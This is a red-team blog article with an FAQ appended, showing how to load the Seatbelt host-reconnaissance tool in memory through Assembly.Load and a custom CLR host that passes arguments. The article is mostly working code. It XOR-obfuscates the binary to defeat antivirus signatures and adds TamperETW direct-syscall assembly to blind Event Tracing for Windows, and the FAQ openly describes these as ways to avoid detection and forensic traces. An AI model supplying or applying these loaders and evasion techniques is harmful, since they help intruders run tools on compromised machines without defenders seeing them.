Implementation of In-Memory Loading for Seatbelt

Onedaysec
6 min read
0 views
docx image 1770017279789 0 4559a5f5bc

0x00 Preface

---

Seatbelt is a C# project that can be used for security checks on hosts, serving both offensive and defensive purposes.

With a single command, it can retrieve multiple configuration details of the current host, making it convenient and practical.

To expand the usage scenarios of Seatbelt without modifying any of its code, this article will introduce two methods for loading Seatbelt in memory (Assembly.Load and execute-assembly), completing the implementation code for passing parameters to the Main function of .NET assemblies.

Previous articles "Exploitation Analysis of Loading .NET Assemblies from Memory (Assembly.Load)" and "Exploitation Analysis of Loading .NET Assemblies from Memory (execute-assembly)"

only covered the implementation code for passing parameters to methods of specified classes.

0x01 Introduction

---

This article will cover the following topics:

  • Compilation and usage of Seatbelt
  • Method for loading Seatbelt using Assembly.Load and passing parameters
  • Method for loading Seatbelt using execute-assembly and passing parameters
  • Method for using assembly code in Visual Studio 2015 on 64-bit platforms

0x02 Compilation and Usage of Seatbelt

---

1. Compilation

Project Repository:

https://github.com/GhostPack/Seatbelt

Supports .NET 3.5 and 4.0

Requires Visual Studio 2017 or higher for compilation

2. Usage

Requires passing parameters to specify specific commands, for example, to run all checks and return all output:

Seatbelt.exe -group=all -full

Detailed commands can be referenced in the project documentation:

https://github.com/GhostPack/Seatbelt#command-line-usage

0x03 Method for Loading Seatbelt and Passing Parameters Using Assembly.Load

---

Implementation Language: C#

Implementation approach:

Encode Seatbelt.exe as base64 and store it in an array, then use Assembly.Load() for base64 decoding and loading, finally pass parameters to the Main function

Implementation code:

1. Encode Seatbelt.exe as base64 and return the result

C# implementation code:

using System;
using System.Reflection;
namespace TestApplication
{
public class Program
{
public static void Main()
{

byte[] buffer = System.IO.File.ReadAllBytes("Seatbelt.exe");
string base64str = Convert.ToBase64String(buffer);
Console.WriteLine(base64str);
}
}
}

You can compile using Visual Studio or directly using csc.exe

Command to compile with csc.exe under .Net 3.5:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe base64.cs

Command to compile with csc.exe under .Net 4.0:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe base64.cs

After successful compilation, base64.exe is generated. Executing it produces the base64-encoded string of Seatbelt.exe

2. Use Assembly.Load() for base64 decoding and loading, then pass parameters to the Main function

C# implementation code:

using System;
using System.Reflection;
namespace TestApplication
{
public class Program
{
public static void Main(string[] args)
{

string base64str = "";

byte[] buffer = Convert.FromBase64String(base64str);
object[] commands = args;
Assembly assembly = Assembly.Load(buffer);
try
{
assembly.EntryPoint.Invoke(null, new object[] { commands });
}
catch
{
MethodInfo method = assembly.EntryPoint;
if (method != null)
{
object o = assembly.CreateInstance(method.Name);
method.Invoke(o, null);
}
}
}
}
}

Replace in the above code with the base64-encoded string of Seatbelt.exe

Similarly, the above code can be compiled using Visual Studio or directly with csc.exe

0x04 Method for loading Seatbelt and passing parameters using execute-assembly

---

Implementation language: C++

Implementation approach:

Save the content of Seatbelt.exe in an array, then use Load_3(...) to load the .NET assembly after reading, and finally pass parameters to the Main function

To remove the signature of Seatbelt.exe, each character in Seatbelt.exe can be XORed and then saved to the array

Here, HostingCLR is used as the code development template

The code of HostingCLR does not solve the parameter passing issue and cannot pass parameters to the Main function of the .NET assembly. Code location:

https://github.com/etormadiv/HostingCLR/blob/master/HostingCLR/HostingCLR.cpp#L218

My code solves the parameter passing issue and removes the signature of Seatbelt.exe by XORing each character in Seatbelt.exe and then saving it to the array

Implementation code:

1. XOR each character in the exe file and save it as a new file

C++ implementation code:

int main(int argc, char* argv[])
{
if (argc != 3)
{
printf("File_XOR_generator\n");
printf("Usage:\n");
printf("%s \n", argv[0]);
printf("Eg:\n");
printf("%s test.exe 0x01\n", argv[0]);

return 0;
}

int x;
sscanf_s(argv[2], "%x", &x);

FILE* fp;
int err = fopen_s(&fp, argv[1], "ab+");
if (err != 0)
{
printf("\n[!]Open file error");
return 0;
}
fseek(fp, 0, SEEK_END);
int len = ftell(fp);
unsigned char *buf = new unsigned char[len];
fseek(fp, 0, SEEK_SET);
fread(buf, len, 1, fp);
fclose(fp);
printf("[*] file name:%s\n", argv[1]);
printf("[*] file size:%d\n", len);

for (int i = 0; i < len; i++)
{
buf[i] = buf[i] ^ x;
}
char strNew[256] = {0};
snprintf(strNew, 256, "xor_%s", argv[1]);

FILE* fp2;
err = fopen_s(&fp2, strNew, "wb+");
if (err != 0)
{
printf("\n[!]createfile error!");
return 0;
}
fwrite(buf, len, 1, fp2);
fclose(fp2);
printf("[*] XOR file name:%s\n", strNew);
printf("[*] XOR file size:%d\n", len);
}

Here, each character in Seatbelt.exe is XORed with 0x01. The command line parameters are as follows:

File_XOR_generator.exe Seatbelt.exe 0x01

Generate the file xor_Seatbelt.exe

Open xor_Seatbelt.exe using HxD

Copy the file content into C code format, as shown in the figure below

1. XOR each character in the exe file and save it as a new file — technical illustration 1

2. Use Load_3(...) to load the .NET assembly, and finally pass parameters to the Main function

The complete code has been uploaded to GitHub, address as follows:

An open-source project

When using, modify the following locations in the code:

  • Replace the content in the array rawData
  • Define the path for mscorlibPath
  • Define the version for runtimeVersion

The code will perform XOR operation character by character on the content in the array rawData with 0x01, restore the file content of Seatbelt.exe, then load it and pass parameters to the Main function

After compilation, generate the file HostingCLR_with_arguments_XOR.exe, test command example:

HostingCLR_with_arguments_XOR.exe -group=all

Use Process Explorer to view the .NET Assemblies item of the process HostingCLR_with_arguments_XOR.exe, as shown in the figure below

2. Use Load_3(...) to load the .NET assembly, and finally pass parameters to the Main function — technical illustration 2

Can obtain the name of the .NET assembly

If you want to hide the name of a .NET assembly, you need to bypass ETW detection.

3. Bypassing ETW detection

Refer to the code at https://github.com/outflanknl/TamperETW/

Introduce the code for bypassing ETW from there; the code has been uploaded to GitHub at the following address:

An open-source project

Here, you also need to add the asm file Syscalls.asm to implement calls to the assembly file.

Create a new item, select a C++ file, enter the file name Syscalls.asm, with the specific content as follows:

.code

; Reference: https://j00ru.vexillium.org/syscalls/nt/64/

; Windows 7 SP1 / Server 2008 R2 specific syscalls

ZwProtectVirtualMemory7SP1 proc
mov r10, rcx
mov eax, 4Dh
syscall
ret
ZwProtectVirtualMemory7SP1 endp

ZwWriteVirtualMemory7SP1 proc
mov r10, rcx
mov eax, 37h
syscall
ret
ZwWriteVirtualMemory7SP1 endp

ZwReadVirtualMemory7SP1 proc
mov r10, rcx
mov eax, 3Ch
syscall
ret
ZwReadVirtualMemory7SP1 endp

; Windows 8 / Server 2012 specific syscalls

ZwProtectVirtualMemory80 proc
mov r10, rcx
mov eax, 4Eh
syscall
ret
ZwProtectVirtualMemory80 endp

ZwWriteVirtualMemory80 proc
mov r10, rcx
mov eax, 38h
syscall
ret
ZwWriteVirtualMemory80 endp

ZwReadVirtualMemory80 proc
mov r10, rcx
mov eax, 3Dh
syscall
ret
ZwReadVirtualMemory80 endp

; Windows 8.1 / Server 2012 R2 specific syscalls

ZwProtectVirtualMemory81 proc
mov r10, rcx
mov eax, 4Fh
syscall
ret
ZwProtectVirtualMemory81 endp

ZwWriteVirtualMemory81 proc
mov r10, rcx
mov eax, 39h
syscall
ret
ZwWriteVirtualMemory81 endp

ZwReadVirtualMemory81 proc
mov r10, rcx
mov eax, 3Eh
syscall
ret
ZwReadVirtualMemory81 endp

; Windows 10 / Server 2016 specific syscalls

ZwProtectVirtualMemory10 proc
mov r10, rcx
mov eax, 50h
syscall
ret
ZwProtectVirtualMemory10 endp

ZwWriteVirtualMemory10 proc
mov r10, rcx
mov eax, 3Ah
syscall
ret
ZwWriteVirtualMemory10 endp

ZwReadVirtualMemory10 proc
mov r10, rcx
mov eax, 3Fh
syscall
ret
ZwReadVirtualMemory10 endp

end

Note:

The code for Syscalls.asm is from https://github.com/outflanknl/TamperETW/blob/master/TamperETW/UnmanagedCLR/Syscalls.asm

To use assembly code in Visual Studio 2015 on a 64-bit platform, the following settings are required:

(1) Right-click on the project -> Build Dependencies -> Build Customizations, check masm

As shown in the figure below

3. Bypassing ETW detection — technical illustration 3

(2) Right-click the file Syscalls.asm -> Properties, set the Item Type to Microsoft Macro Assembler

As shown in the figure below

3. Bypassing ETW detection — technical illustration 4

After compilation, the file HostingCLR_with_arguments_XOR_TamperETW.exe is generated

Test command example:

HostingCLR_with_arguments_XOR_TamperETW.exe -group=all

Use Process Explorer to view the .NET Assemblies entry of the process HostingCLR_with_arguments_XOR_TamperETW.exe, as shown in the figure below

3. Bypassing ETW detection — technical illustration 5

Successfully hides the names of .NET assemblies

0x05 Summary

---

This article introduces two methods for loading Seatbelt in memory (Assembly.Load and execute-assembly), respectively completing the implementation code for passing parameters to the Main function of a .NET assembly. It addresses the parameter passing issue in HostingCLR, introduces code for TamperETW to bypass ETW, and explains the method of using assembly code in Visual Studio 2015 on a 64-bit platform.

Related Questions & Answers

How does the article address bypassing ETW (Event Tracing for Windows) when using in-memory assembly loading?

To hide the .NET assembly name and avoid ETW telemetry, the article introduces code from the TamperETW project (reference: https://github.com/outflanknl/TamperETW/). It includes an assembly file (`Syscalls.asm`) that defines syscalls for `ZwProtectVirtualMemory`, `ZwWriteVirtualMemory`, and `ZwReadVirtualMemory` across different Windows versions. These syscalls are used to patch ETW in memory, preventing the runtime from logging assembly load events. This technique complements the execute-assembly loading method described in the article.

What technique does the execute-assembly approach use to avoid static detection of the Seatbelt binary?

The execute-assembly method XORs every byte of Seatbelt.exe with a key (e.g., 0x01) before storing it in a C++ array. At runtime, the loader reverses the XOR operation to restore the original binary in memory before loading the .NET assembly via `Load_3(...)`. This obfuscation hides the Seatbelt signature from static analysis. The full implementation, including XOR handling and parameter passing, is detailed in the [Implementation of In-Memory Loading for Seatbelt](/news/implementation-of-in-memory-loading-for-seatbelt) article.

How do you pass command-line arguments to the Main function of a .NET assembly when loading it with Assembly.Load?

The article provides a C# implementation that encodes the Seatbelt.exe as a base64 string, then uses `Assembly.Load()` to decode and load it. After loading, it invokes the entry point (the `Main` method) by calling `assembly.EntryPoint.Invoke(null, new object[] { commands })`, where `commands` is the original `args` array passed to the loader. This solves the parameter‑passing problem that earlier examples (like those in [Analysis of .NET Assembly Loading from Memory (execute-assembly) Exploitation](/news/analysis-of-net-assembly-loading-from-memory-execute-assembly-exploitation) addressed only for specific class methods.

What is Seatbelt and why would someone want to load it in-memory?

Seatbelt is a C# security assessment tool that collects detailed host configuration information with a single command. Loading it in-memory (e.g., via `Assembly.Load` or `execute-assembly`) avoids writing the binary to disk, reducing forensic artifacts and expanding its use in limited execution environments. This technique is covered in detail in the article [Implementation of In-Memory Loading for Seatbelt](/news/implementation-of-in-memory-loading-for-seatbelt).

Continue Reading